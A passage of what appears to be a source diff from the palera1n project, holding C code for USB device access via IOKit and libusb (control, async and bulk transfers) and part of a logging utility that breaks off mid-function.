|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
|
||||||
|
#include <usb_iokit.h>
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#include <CommonCrypto/CommonCrypto.h>
|
||||||
|
#include <CoreFoundation/CoreFoundation.h>
|
||||||
|
#include <IOKit/IOCFPlugIn.h>
|
||||||
|
#include <IOKit/usb/IOUSBLib.h>
|
||||||
|
|
||||||
|
#include <utils.h>
|
||||||
|
|
||||||
|
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
|
||||||
|
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
|
||||||
|
|
||||||
|
if(cf_val != NULL) {
|
||||||
|
CFDictionarySetValue(dict, key, cf_val);
|
||||||
|
CFRelease(cf_val);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
|
||||||
|
IOCFPlugInInterface **plugin_interface;
|
||||||
|
SInt32 score;
|
||||||
|
bool ret = false;
|
||||||
|
|
||||||
|
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
|
||||||
|
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
|
||||||
|
IODestroyPlugInInterface(plugin_interface);
|
||||||
|
}
|
||||||
|
|
||||||
|
IOObjectRelease(serv);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool open_usb_interface(usb_handle_t *handle) {
|
||||||
|
IOUSBFindInterfaceRequest req;
|
||||||
|
io_iterator_t iter;
|
||||||
|
io_service_t intfServ;
|
||||||
|
IOReturn kr;
|
||||||
|
|
||||||
|
req.bInterfaceClass = kIOUSBFindInterfaceDontCare;
|
||||||
|
req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
|
||||||
|
req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
|
||||||
|
req.bAlternateSetting = kIOUSBFindInterfaceDontCare;
|
||||||
|
|
||||||
|
kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter);
|
||||||
|
if(kr != kIOReturnSuccess) return false;
|
||||||
|
|
||||||
|
while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||||
|
IOCFPlugInInterface **plugin = NULL;
|
||||||
|
IOUSBInterfaceInterface245 **intf = NULL;
|
||||||
|
SInt32 score = 0;
|
||||||
|
HRESULT res;
|
||||||
|
|
||||||
|
kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
|
||||||
|
|
||||||
|
IOObjectRelease(intfServ);
|
||||||
|
|
||||||
|
if(kr != kIOReturnSuccess || !plugin) continue;
|
||||||
|
|
||||||
|
res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf);
|
||||||
|
|
||||||
|
(*plugin)->Release(plugin);
|
||||||
|
|
||||||
|
if(res != S_OK || !intf) continue;
|
||||||
|
|
||||||
|
kr = (*intf)->USBInterfaceOpen(intf);
|
||||||
|
if(kr != kIOReturnSuccess) {
|
||||||
|
(*intf)->Release(intf);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
handle->interface = intf;
|
||||||
|
IOObjectRelease(iter);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
IOObjectRelease(iter);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
void close_usb_handle(usb_handle_t *handle) {
|
||||||
|
if(handle->async_event_source) {
|
||||||
|
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
|
||||||
|
CFRelease(handle->async_event_source);
|
||||||
|
handle->async_event_source = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(handle->interface) {
|
||||||
|
(*handle->interface)->USBInterfaceClose(handle->interface);
|
||||||
|
(*handle->interface)->Release(handle->interface);
|
||||||
|
handle->interface = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(handle->device) {
|
||||||
|
(*handle->device)->USBDeviceClose(handle->device);
|
||||||
|
(*handle->device)->Release(handle->device);
|
||||||
|
handle->device = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool open_usb_device(io_service_t serv, usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
if (!query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) return false;
|
||||||
|
|
||||||
|
IOReturn kr;
|
||||||
|
|
||||||
|
for (int i = 0; i < 10; i++) {
|
||||||
|
kr = (*handle->device)->USBDeviceOpenSeize(handle->device);
|
||||||
|
|
||||||
|
if (kr == kIOReturnSuccess) break;
|
||||||
|
if (kr != kIOReturnExclusiveAccess) goto fail;
|
||||||
|
|
||||||
|
usleep(100000);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (kr != kIOReturnSuccess) goto fail;
|
||||||
|
|
||||||
|
kr = (*handle->device)->SetConfiguration(handle->device, 1);
|
||||||
|
|
||||||
|
if (kr != kIOReturnSuccess && kr != kIOReturnExclusiveAccess) goto fail;
|
||||||
|
|
||||||
|
kr = (*handle->device)->CreateDeviceAsyncEventSource(
|
||||||
|
handle->device,
|
||||||
|
&handle->async_event_source
|
||||||
|
);
|
||||||
|
|
||||||
|
if (kr != kIOReturnSuccess) goto fail;
|
||||||
|
|
||||||
|
CFRunLoopAddSource(
|
||||||
|
CFRunLoopGetCurrent(),
|
||||||
|
handle->async_event_source,
|
||||||
|
kCFRunLoopDefaultMode
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!open_usb_interface(handle)) goto fail;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
fail:
|
||||||
|
close_usb_handle(handle);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool wait_usb_handle(usb_handle_t *handle) {
|
||||||
|
CFMutableDictionaryRef matching_dict;
|
||||||
|
io_iterator_t iter;
|
||||||
|
io_service_t serv;
|
||||||
|
|
||||||
|
matching_dict = IOServiceMatching(kUSBDeviceClassName);
|
||||||
|
if (matching_dict == NULL) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
|
||||||
|
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
|
||||||
|
|
||||||
|
if (IOServiceGetMatchingServices(0, matching_dict, &iter) != kIOReturnSuccess) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
while ((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||||
|
if (open_usb_device(serv, handle)) {
|
||||||
|
IOObjectRelease(iter);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
IOObjectRelease(iter);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
void reset_usb_handle(usb_handle_t *handle) {
|
||||||
|
if(handle->device) {
|
||||||
|
(*handle->device)->ResetDevice(handle->device);
|
||||||
|
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->interface) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
IOUSBDevRequestTO req = {
|
||||||
|
.wLenDone = 0,
|
||||||
|
.pData = p_data,
|
||||||
|
.bRequest = b_request,
|
||||||
|
.bmRequestType = bm_request_type,
|
||||||
|
.wLength = OSSwapLittleToHostInt16(w_len),
|
||||||
|
.wValue = OSSwapLittleToHostInt16(w_value),
|
||||||
|
.wIndex = OSSwapLittleToHostInt16(w_index),
|
||||||
|
.completionTimeout = USB_TIMEOUT,
|
||||||
|
.noDataTimeout = USB_TIMEOUT,
|
||||||
|
};
|
||||||
|
|
||||||
|
IOReturn ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
|
||||||
|
|
||||||
|
if(ret == kIOReturnSuccess) {
|
||||||
|
result.sz = req.wLenDone;
|
||||||
|
result.ret = USB_TRANSFER_OK;
|
||||||
|
} else if(ret == kUSBPipeStalled) {
|
||||||
|
result.ret = USB_TRANSFER_STALL;
|
||||||
|
} else {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
|
||||||
|
transfer_ret_t *transfer_ret = refcon;
|
||||||
|
|
||||||
|
if(transfer_ret != NULL) {
|
||||||
|
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
|
||||||
|
|
||||||
|
if(ret == kIOReturnSuccess) {
|
||||||
|
transfer_ret->ret = USB_TRANSFER_OK;
|
||||||
|
} else if(ret == kUSBPipeStalled) {
|
||||||
|
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||||
|
} else {
|
||||||
|
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CFRunLoopStop(CFRunLoopGetCurrent());
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->interface) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
IOUSBDevRequestTO req = {
|
||||||
|
.wLenDone = 0,
|
||||||
|
.pData = p_data,
|
||||||
|
.bRequest = b_request,
|
||||||
|
.bmRequestType = bm_request_type,
|
||||||
|
.wLength = OSSwapLittleToHostInt16(w_len),
|
||||||
|
.wValue = OSSwapLittleToHostInt16(w_value),
|
||||||
|
.wIndex = OSSwapLittleToHostInt16(w_index),
|
||||||
|
.completionTimeout = USB_TIMEOUT,
|
||||||
|
.noDataTimeout = USB_TIMEOUT,
|
||||||
|
};
|
||||||
|
|
||||||
|
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, &result) == kIOReturnSuccess) {
|
||||||
|
sleep_ms(usb_abort_timeout);
|
||||||
|
|
||||||
|
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
|
||||||
|
CFRunLoopRun();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->interface) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
IOUSBDevRequest req = {
|
||||||
|
.bmRequestType = bm_request_type,
|
||||||
|
.bRequest = b_request,
|
||||||
|
.wValue = w_value,
|
||||||
|
.wIndex = w_index,
|
||||||
|
.wLength = (UInt16)w_len,
|
||||||
|
.pData = p_data,
|
||||||
|
};
|
||||||
|
|
||||||
|
IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req);
|
||||||
|
|
||||||
|
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
|
||||||
|
result.sz = req.wLenDone;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->interface) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len);
|
||||||
|
|
||||||
|
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
|
||||||
|
result.sz = len;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid)
|
||||||
|
{
|
||||||
|
handle->vid = vid;
|
||||||
|
handle->pid = pid;
|
||||||
|
handle->serv = IO_OBJECT_NULL;
|
||||||
|
handle->device = NULL;
|
||||||
|
handle->interface = NULL;
|
||||||
|
handle->async_event_source = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,277 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2023 0x7ff
|
||||||
|
* Copyright (C) 2023 Mineek
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __APPLE__
|
||||||
|
|
||||||
|
#include <usb_libusb.h>
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#include <libusb-1.0/libusb.h>
|
||||||
|
|
||||||
|
#include <utils.h>
|
||||||
|
|
||||||
|
void close_usb_handle(usb_handle_t *handle) {
|
||||||
|
#if _WIN32
|
||||||
|
libusb_release_interface(handle->device, 0);
|
||||||
|
#endif
|
||||||
|
libusb_close(handle->device);
|
||||||
|
libusb_exit(NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
void reset_usb_handle(const usb_handle_t *handle) {
|
||||||
|
libusb_reset_device(handle->device);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool wait_usb_handle(usb_handle_t *handle) {
|
||||||
|
if (libusb_init(NULL) != LIBUSB_SUCCESS) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid);
|
||||||
|
if (handle->device == NULL) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if _WIN32
|
||||||
|
libusb_set_auto_detach_kernel_driver(handle->device, 1);
|
||||||
|
|
||||||
|
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS ||
|
||||||
|
libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY) {
|
||||||
|
if (libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
libusb_close(handle->device);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
void usb_async_cb(struct libusb_transfer *transfer) {
|
||||||
|
*(int *)transfer->user_data = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->device) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
|
||||||
|
|
||||||
|
if(ret >= 0) {
|
||||||
|
result.sz = (uint32_t)ret;
|
||||||
|
result.ret = USB_TRANSFER_OK;
|
||||||
|
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||||
|
result.ret = USB_TRANSFER_STALL;
|
||||||
|
result.sz = 0;
|
||||||
|
} else {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->device) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
|
||||||
|
struct timeval tv;
|
||||||
|
int completed = 0;
|
||||||
|
uint8_t *buf;
|
||||||
|
|
||||||
|
if(transfer != NULL) {
|
||||||
|
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
|
||||||
|
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
|
||||||
|
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
|
||||||
|
}
|
||||||
|
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
|
||||||
|
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
|
||||||
|
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
|
||||||
|
tv.tv_sec = usb_abort_timeout / 1000;
|
||||||
|
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
|
||||||
|
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
|
||||||
|
libusb_cancel_transfer(transfer);
|
||||||
|
}
|
||||||
|
if(completed != 0) {
|
||||||
|
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
|
||||||
|
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
|
||||||
|
}
|
||||||
|
result.sz = (uint32_t)transfer->actual_length;
|
||||||
|
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
|
||||||
|
result.ret = USB_TRANSFER_OK;
|
||||||
|
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
|
||||||
|
result.ret = USB_TRANSFER_STALL;
|
||||||
|
} else {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(buf);
|
||||||
|
}
|
||||||
|
libusb_free_transfer(transfer);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(completed == 0) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len)
|
||||||
|
{
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->device) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0);
|
||||||
|
|
||||||
|
if(ret >= 0) {
|
||||||
|
result.sz = (uint32_t)ret;
|
||||||
|
result.ret = USB_TRANSFER_OK;
|
||||||
|
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||||
|
result.ret = USB_TRANSFER_STALL;
|
||||||
|
result.sz = 0;
|
||||||
|
} else {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len)
|
||||||
|
{
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(!handle || !handle->device) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = 0;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint32_t maxLen = 0;
|
||||||
|
int transferred = 0;
|
||||||
|
int ret;
|
||||||
|
|
||||||
|
if(maxLen == 0)
|
||||||
|
{
|
||||||
|
ret = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0);
|
||||||
|
if(ret == LIBUSB_SUCCESS)
|
||||||
|
{
|
||||||
|
result.ret = USB_TRANSFER_OK;
|
||||||
|
result.sz = transferred;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else if(ret != LIBUSB_ERROR_NO_MEM)
|
||||||
|
{
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = transferred;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
#if defined(__linux__)
|
||||||
|
// We only get here on ENOMEM
|
||||||
|
FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r");
|
||||||
|
if(f)
|
||||||
|
{
|
||||||
|
char str[32]; // More than enough to hold a uint64 in decimal
|
||||||
|
size_t s = fread(str, 1, sizeof(str), f);
|
||||||
|
fclose(f);
|
||||||
|
if(s == 0 || s >= sizeof(str)) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = transferred;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
str[s] = '\0';
|
||||||
|
char *end = NULL;
|
||||||
|
unsigned long long max = strtoull(str, &end, 0);
|
||||||
|
// Using the limit as-is will lead to ENOMEM, so we multiply
|
||||||
|
// by half a MB and impose an appropriate max value.
|
||||||
|
if(*end == '\n') ++end;
|
||||||
|
if(*end != '\0' || max == 0 || max >= 0x2000) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = transferred;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
maxLen = (uint32_t)(max << 19);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
// Just 1MB by default?
|
||||||
|
maxLen = 0x100000;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// If we get here, we have to chunk our data
|
||||||
|
for(int done = transferred; done < len; )
|
||||||
|
{
|
||||||
|
uint32_t chunk = len - done;
|
||||||
|
if(chunk > maxLen) chunk = maxLen;
|
||||||
|
transferred = 0;
|
||||||
|
ret = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0);
|
||||||
|
done += transferred;
|
||||||
|
if(ret == LIBUSB_SUCCESS) continue;
|
||||||
|
if(ret != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) {
|
||||||
|
result.ret = USB_TRANSFER_ERROR;
|
||||||
|
result.sz = transferred;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
maxLen /= 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
result.ret = USB_TRANSFER_OK;
|
||||||
|
result.sz = transferred;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||||
|
handle->vid = vid;
|
||||||
|
handle->pid = pid;
|
||||||
|
handle->device = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // __APPLE__
|
||||||
@@ -0,0 +1,127 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <utils.h>
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#ifdef _WIN32
|
||||||
|
# include <windows.h>
|
||||||
|
#endif
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
uint8_t gDebugLevel = 0;
|
||||||
|
bool gSilentLogs = false;
|
||||||
|
bool gColoredLogs = true;
|
||||||
|
|
||||||
|
static const char *level_names[] = {
|
||||||
|
[LOG_INFO] = "INFO",
|
||||||
|
[LOG_ERROR] = "ERROR",
|
||||||
|
[LOG_VERBOSE] = "VERBOSE",
|
||||||
|
};
|
||||||
|
|
||||||
|
static const char *level_colors[] = {
|
||||||
|
[LOG_INFO] = CYAN_COLOR,
|
||||||
|
[LOG_ERROR] = RED_COLOR,
|
||||||
|
[LOG_VERBOSE] = RESET_COLOR,
|
||||||
|
};
|
||||||
|
|
||||||
|
static inline void _get_timestamp(char *buf, size_t len)
|
||||||
|
{
|
||||||
|
time_t t = time(NULL);
|
||||||
|
struct tm tm_info;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
localtime_s(&tm_info, &t);
|
||||||
|
#else
|
||||||
|
localtime_r(&t, &tm_info);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
strftime(buf, len, "%Y/%m/%d %H:%M:%S", &tm_info);
|
||||||
|
}
|
||||||
|
|
||||||
|
void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...)
|
||||||
|
{
|
||||||
|
if (gSilentLogs) return;
|
||||||
|
if (level == LOG_VERBOSE && gDebugLevel < 1) return;
|
||||||
|
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
|
||||||
|
char tag_buf[32];
|
||||||
|
char ts[32];
|
||||||
|
|
||||||
|
_get_timestamp(ts, sizeof(ts));
|
||||||
|
snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_names[level]);
|
||||||
|
|
||||||
|
if (!gColoredLogs) {
|
||||||
|
printf(" %9s [%s] => ", tag_buf, ts);
|
||||||
|
} else {
|
||||||
|
printf(" %s%9s%s [%s%s%s] => ",
|
||||||
|
level_colors[level],
|
||||||
|
tag_buf,
|
||||||
|
RESET_COLOR,
|
||||||
|
GRAY_COLOR,
|
||||||
|
ts,
|
||||||
|
RESET_COLOR
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
vprintf(fmt, args);
|
||||||
|
|
||||||
|
if (gDebugLevel >= 2) {
|
||||||
|
if (gColoredLogs) {
|
||||||
|
printf("\n %s└────[%sTRACE(%d)%s = %s()[%s:%d]]",
|
||||||
|
RESET_COLOR,
|
||||||
|
MAGENTA_COLOR,
|
||||||
|
gDebugLevel,
|
||||||
|
RESET_COLOR,
|
||||||
|
func,
|
||||||
|
file,
|
||||||
|
line
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
printf("\n └────[TRACE(%d) = %s()[%s:%d]]",
|
